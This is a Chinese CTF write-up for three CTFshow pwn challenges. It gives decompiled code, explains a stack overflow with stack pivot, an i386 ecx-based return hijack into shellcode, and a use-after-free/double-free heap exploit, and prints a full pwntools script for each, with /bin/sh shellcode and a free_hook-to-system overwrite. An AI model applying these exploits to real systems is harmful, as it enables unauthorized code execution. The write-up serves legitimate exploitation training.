main()
函数中有明显的栈溢出漏洞,但是该题难点在于目标环境是libc2.27
,新版本libc2.27
如果printf()
堆栈不平衡会报错,setvbuf()
函数重复初始化stdin
和stdout
也会报错。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
v3 = read(0, buf, 0x100uLL);
v6 = v3;
buf[v3 - 1] = 0;
printf("Welcome to the CTFshow Moon cake cup! %s!\n", buf);
return 0;
}
所有栈溢出后需要跳过setvbuf()
并利用call printf
,来调用printf()函数泄露libc,由于该程序利用rbp来寻找栈,还需要将栈迁移到bss段上。再栈迁移后,堆栈平衡已经炸了,但是bss段上到处都是0,可以利用one_gadget来getshell。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./pwn01')
gdb.attach(r,"b * 0x400690")
else:
r = remote('pwn.challenge.ctf.show',28036)
elf=ELF('./pwn01')
rdi = 0x400703
callpritf = 0x400647
r.sendline(cyclic(0x20)+p64(0x00601300)+p64(rdi)+p64(elf.got['__libc_start_main'])+p64(callpritf))
r.recvuntil('gaaa')
r.recv(3)
lsmr = u64(r.recv(6)+'\x00\x00')
log.success('lsmr:'+hex(lsmr))
libc_addr = lsmr - 0x021ab0
system = libc_addr + 0x04f440
binsh = libc_addr + 0x1b3e9a
ogg = libc_addr + 0x4f322
r.sendline(cyclic(0x20)+p64(0xdeadbeef)+p64(ogg))
r.interactive()
main()函数开始让你输入一段shellcode。然后第二次输入需要触发strcmp(&s, "yes\n")
才能避免exit()
。
int __cdecl main(int a1)
{
char s; // [esp+0h] [ebp-18h]
int *v3; // [esp+10h] [ebp-8h]
v3 = &a1;
sub_80485A6();
memset(&s, 0, 0x10u);
memset(::s, 0, 0x100u);
puts("Input your shellcode");
fgets(::s, 256, stdin);
puts("Do you know how to use shellcode????");
read(0, &s, 0x14u);
if ( strcmp(&s, "yes\n") )
{
puts("you may be need learn it");
exit(0);
}
puts("ok,good");
return 0;
}
由于i386的main()函数平栈方式为外平栈模式,其ret的方式与内平栈有一些区别。
.text:080486F7 pop ecx
.text:080486F8 pop ebx
.text:080486F9 pop ebp
.text:080486FA lea esp, [ecx-4]
.text:080486FD retn
这里控制ecx就可以控制程序走向。只需要让ecx+4存储的地址为可控的地址,然后在该地址存储想要跳到的地址,即可控制执行流,刚巧shellcode所在的地方为全局变量,地址固定,所以构造shellcode前面加上shellcode+4的地址,就能够跳到shellcode上执行shellcode。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
r=process('./pwn02')
gdb.attach(r,"b * 0x080486F9")
else:
r = remote('pwn.challenge.ctf.show',28062)
elf=ELF('./pwn02')
shellcode = p32(0x804A040+4)+"\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
r.recvuntil('shellcode')
r.sendline(shellcode)
r.recvuntil('shellcode')
r.send('yes\n\x00'+cyclic(11)+p32(0x804A040+4))
r.interactive()
uaf和double free打混合拳,触发需要条件,构造有一点点麻烦。
menu()函数发现该程序有如下功能。
__int64 menu()
{
puts("1. Create note");
puts("2. Write content");
puts("3. Show content");
puts("4. Delete note");
printf("Choice: ");
return getint();
}
create_note()函数为限制生成30多个堆,每次申请一个0x28大小的堆块。内容为填入一个标题。
__int64 create_note()
{
_QWORD *v0; // ST08_8
if ( size > 79 )
puts("Too many notes");
v0 = malloc(0x28uLL);
printf("Title: ");
getnline(v0, 16LL);
v0[3] = &head;
v0[2] = qword_202090;
*(_QWORD *)(qword_202090 + 24) = v0;
qword_202090 = (__int64)v0;
return (unsigned int)(size++ + 1);
}
write_content()函数为根据create_note()函数的标题来生成一个小于80字节大小的堆块,地址存放在create_note()函数生成堆块的末尾8字节处。
unsigned __int64 write_content()
{
signed int v1; // [rsp+4h] [rbp-2Ch]
__int64 v2; // [rsp+8h] [rbp-28h]
char v3; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Title of note to write content: ");
getnline(&v3, 16LL);
v2 = find_note(&v3, 16LL);
if ( v2 )
{
if ( *(_QWORD *)(v2 + 32) )
{
puts("You have already written content");
}
else
{
printf("Size of content: ");
v1 = getint();
if ( v1 > 0 && v1 <= 80 )
{
*(_QWORD *)(v2 + 32) = malloc(v1);
printf("Content: ");
getnline(*(_QWORD *)(v2 + 32), (unsigned int)v1);
}
else
{
puts("Too big");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
show_content()函数为根据create_note()函数标题寻找write_note()的地址,并输出出来。
unsigned __int64 show_content()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char v2; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Title of note to show content: ");
getnline(&v2, 16LL);
v1 = find_note(&v2, 16LL);
if ( v1 && *(v1 + 32) )
puts(*(v1 + 32));
return __readfsqword(0x28u) ^ v3;
}
delete_note()函数存在uaf,不过需要堆块重新申请回来才能利用。可以利用write_note()来申请一个堆块,再末尾加上想泄露的地址或想释放的堆块地址,由于malloc()申请堆块不会清空内容,这样create_note()的堆块末尾的地址就可以用于构造uaf任意地址读和double free。
unsigned __int64 delete_note()
{
void *ptr; // [rsp+8h] [rbp-28h]
char v2; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Title of note to delete: ");
getnline(&v2, 16LL);
ptr = find_note(&v2, 16LL);
if ( ptr )
{
*(*(ptr + 2) + 24LL) = *(ptr + 3);
*(*(ptr + 3) + 16LL) = *(ptr + 2);
free(*(ptr + 4));
free(ptr);
--size;
}
return __readfsqword(0x28u) ^ v3;
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
r=process('./Moon_note')
gdb.attach(r,"b * $rebase(menu)")
else:
r = remote('pwn.challenge.ctf.show',28080)
elf=ELF('./Moon_note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(title):
r.recvuntil('Choice:')
r.sendline('1')
r.recvuntil('Title:')
r.sendline(str(title))
def write(index,size,content):
r.recvuntil('Choice:')
r.sendline('2')
r.recvuntil('content:')
r.sendline(str(index))
r.recvuntil('content:')
r.sendline(str(size))
r.recvuntil('Content:')
r.sendline(content)
def dele(title):
r.recvuntil('Choice:')
r.sendline('4')
r.recvuntil('delete:')
r.sendline(str(title))
def show(title):
r.recvuntil('Choice:')
r.sendline('3')
r.recvuntil('content:')
r.sendline(str(title))
add('1')
write('1',0x28,'a'*0x20)
add('2')
add('3')
add('4')
write('3',0x28,'c'*0x2)
dele(3)
dele('1')
write('2',0x38,'b'*0x2)
add('5')
show('5')
r.recvuntil(' ')
heap = u64(r.recv(6)+'\x00\x00')
log.success('heap:'+hex(heap))
dele('2')
write('4',0x28,'c'*0x20+p64(heap-0x80))
dele('4')
add('7')
add('8')
add('9')
show('8')
r.recvuntil(' ')
pie = u64(r.recv(6)+'\x00\x00')-0x202080
log.success('pie:'+hex(pie))
add('10')
add('11')
dele('5')
write('11',0x28,'c'*0x20+p64(pie+elf.got['__libc_start_main']))
dele('11')
add('12')
add('13')
show('13')
r.recvuntil(' ')
libc_start_main = u64(r.recv(6)+'\x00\x00')
log.success('libc_start_main:'+hex(libc_start_main))
libc_addr = libc_start_main - libc.symbols['__libc_start_main']
system = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
add('/bin/sh')
add('15')
add('16')
add('17')
add('18')
dele('16')
write('15',0x28,'d'*0x20+p64(heap+0x160))
dele('15')
add('19')
add('20')
dele('18')
dele('20')
add('22')
add(p64(free_hook))
write(p64(free_hook),0x28,'eeeeeeee')
add(p64(system))
dele('/bin/sh')
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!